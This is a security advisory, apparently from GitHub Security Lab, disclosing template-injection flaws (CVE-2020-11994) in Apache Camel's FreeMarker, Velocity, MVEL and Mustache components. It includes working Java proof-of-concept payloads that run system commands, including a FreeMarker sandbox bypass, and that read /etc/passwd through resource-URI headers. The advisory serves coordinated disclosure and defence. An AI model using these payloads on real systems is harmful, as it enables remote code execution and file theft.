Summary
Apache Camel FreeMarker, Velocity, MVEL and Moustache components are vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) or Arbitrary File Disclosure.
Product
camel-freemarker camel-velocity camel-mvel camel-mustache
Tested Version
Latest 2.x version: 2.22.0 Latest 3.x version: 3.2.0
Details
Issue 1: Server-Side Template Injection on camel-freemarker
component (GHSL-2020-086).
camel-freemarker
allows dynamic templating by processing the contents of the CamelFreemarkerTemplate
header as the template passed to the FreeMarker template engine. An attacker that can control this header, will be able to run arbitrary commands on the Camel system.
As an example, the following Camel route will pass any messages in the freemarker
JMS queue to the camel-freemarker component which should then render the template.ftl
template:
from("activemq:freemarker")
.to("freemarker:template.ftl")
.to("stream:out");
However, if an attacker sends a message with the CamelFreemarkerTemplate
header, they will be able to override the contents of the template.ftl
template and provide arbitrary content.
System.out.println("Attacking Freemarker endpoint");
template.convertAndSend("freemarker", "FOO", new MessagePostProcessor() {
public Message postProcessMessage(Message message) throws JMSException {
String payload = "FREEMARKER ${\"freemarker.template.utility.Execute\"?new()(\"id\")}";
message.setStringProperty("CamelFreemarkerTemplate", payload);
return message;
}
});
Note: the above example uses JMS queues, depending on the Camel consumer, these headers could be JMS message properies, HTTP request headers, etc.
Even if the latest version of FreeMarker is in use with the ClassResolver sandbox enabled, an attacker will still be able to run arbitrary commands by abusing the camelContext
object exposed to the template context. A simple example would involve using the CamelContext.getInjector()
and CamelContext.getClassResolver()
to be able to instantiate arbitrary objects:
<#assign cr = camelContext.getClassResolver()>
<#assign i = camelContext.getInjector()>
<#assign se = i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>
${se.getEngineByName("js").eval("var proc=new java.lang.ProcessBuilder('id');var is=proc.start().getInputStream(); var sc=new java.util.Scanner(is); var out=''; while (sc.hasNext()) {out += (sc.nextLine())};out")}";
Alternatively they could use the camelContext
to run arbitrary language expressions:
$camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class);
It is also possible to provide a CamelFreemarkerResourceUri
header which will allow an attacker to specify the URI of the template to be used. An attacker can use this header as an alternative way of achieving RCE by pointing the URI to an attacker-controlled resource, or they could use it to disclose arbitrary file system resources. E.g:
System.out.println("Attacking Freemarker endpoint");
template.convertAndSend("freemarker", "FOO", new MessagePostProcessor() {
public Message postProcessMessage(Message message) throws JMSException {
message.setStringProperty("CamelFreemarkerResourceUri", "file:///etc/passwd");
return message;
}
});
When trying to connect to an external URL such as foobartest.free.beeceptor.com
I got the following error:
java.net.UnknownHostException: foobartest.free.beeceptor_en_ES.com
This seems to imply that it would also be possible to load the template content from an external URL as long as an attacker buys a domain that ends with a matching Locale string but we have not verified this.
Impact
This issue leads to Remote Code Execution and Arbitrary File Disclosure.
Issue 2: Server-Side Template Injection on camel-velocity
component (GHSL-2020-087).
Similarly the camel-velocity
component also allows dynamic templating by accepting and processing the CamelVelocityTemplate
header. Given a Camel route using the camel-velocity
component such as in:
from("activemq:velocity")
.to("velocity:template.vm")
.to("stream:out");
An attacker would be able to override the default template.vm
template by sending a custom template in the CamelVelocityTemplate
header:
System.out.println("Attacking Velocity endpoint");
template.convertAndSend("velocity", "FOO", new MessagePostProcessor() {
public Message postProcessMessage(Message message) throws JMSException {
String payload = "VELOCITY ${camelContext.class.forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var proc=new java.lang.ProcessBuilder('id');var is=proc.start().getInputStream(); var sc=new java.util.Scanner(is); var out=''; while (sc.hasNext()) {out += (sc.nextLine())};out\")}";
message.setStringProperty("CamelVelocityTemplate", payload);
return message;
}
});
As with the FreeMarker case, it is also possible for an attacker to provide a CamelVelocityResourceUri
header pointing to an arbitrary URI.
An attacker can use it to provide arbitrary template contents (RCE) or to disclose arbitrary file system resources. E.g:
System.out.println("Attacking Velocity endpoint");
template.convertAndSend("velocity", "FOO", new MessagePostProcessor() {
public Message postProcessMessage(Message message) throws JMSException {
message.setStringProperty("CamelVelocityResourceUri", "file:///etc/passwd");
return message;
}
});
Impact
This issue leads to Remote Code Execution and Arbitrary File Disclosure.
Issue 3: Server-Side Template Injection on camel-mvel
component (GHSL-2020-088).
Similarly camel-mvel
component also allows dynamic templating by accepting and processing the CamelMvelTemplate
header. Given a Camel route using the camel-mvel
component such as in:
from("activemq:mvel")
.to("mvel:template.mvel")
.to("stream:out");
An attacker would be able to override the default template.mvel
template by sending a custom template in the CamelMvelTemplate
header:
System.out.println("Attacking MVEL endpoint");
template.convertAndSend("mvel", "FOO", new MessagePostProcessor() {
public Message postProcessMessage(Message message) throws JMSException {
String payload = "MVEL @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(\"javax.script.ScriptEngineManager\",null,false).getEngineByName('js').eval(\"var proc=new java.lang.ProcessBuilder('id');var is=proc.start().getInputStream(); var sc=new java.util.Scanner(is); var out=''; while (sc.hasNext()) {out += (sc.nextLine())};out\")}";
message.setStringProperty("CamelMvelTemplate", payload);
return message;
}
});
As we saw with FreeMarker and Velocity, by providing a CamelMvelResourceUri
header, an attacker is able to provide a URI to retrieve the template contents from. They can use it to provide arbitrary templates (RCE) or to disclose arbitrary file system resources. E.g:
System.out.println("Attacking MVEL endpoint");
template.convertAndSend("mvel", "FOO", new MessagePostProcessor() {
public Message postProcessMessage(Message message) throws JMSException {
String payload = "MVEL @{java.lang.Runtime.getRuntime().exec('id')}";
message.setStringProperty("CamelMvelResourceUri", "file:///etc/passwd");
return message;
}
});
Impact
This issue leads to Remote Code Execution and Arbitrary File Disclosure.
Issue 4: Arbitrary File Disclosure on camel-mustache
component (GHSL-2020-089).
To our knowledge, it is not possible to run arbitrary commands by controlling a Java Mustache template, but it is still possible for an attacker to provide a MustacheResourceUri
header in order to replace the Mustache header with an attacker-controlled one. This will enable an attacker to disclose arbitrary file system resources. E.g:
System.out.println("Attacking Mustache endpoint");
template.convertAndSend("mustache", "FOO", new MessagePostProcessor() {
public Message postProcessMessage(Message message) throws JMSException {
message.setStringProperty("MustacheResourceUri", "file:///etc/passwd");
return message;
}
});
Impact
This issue leads to Arbitrary File Disclosure.
CVE
- CVE-2020-11994 - Server-Side Template Injection and arbitrary file disclosure on Camel templating components
Coordinated Disclosure Timeline
- 04/29/2020: Report send to Apache Security
- 05/06/2020: Apache shares fix commit for evaluation
Credit
These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include the relevant GHSL-YEAR-ID
in any communication regarding this issue.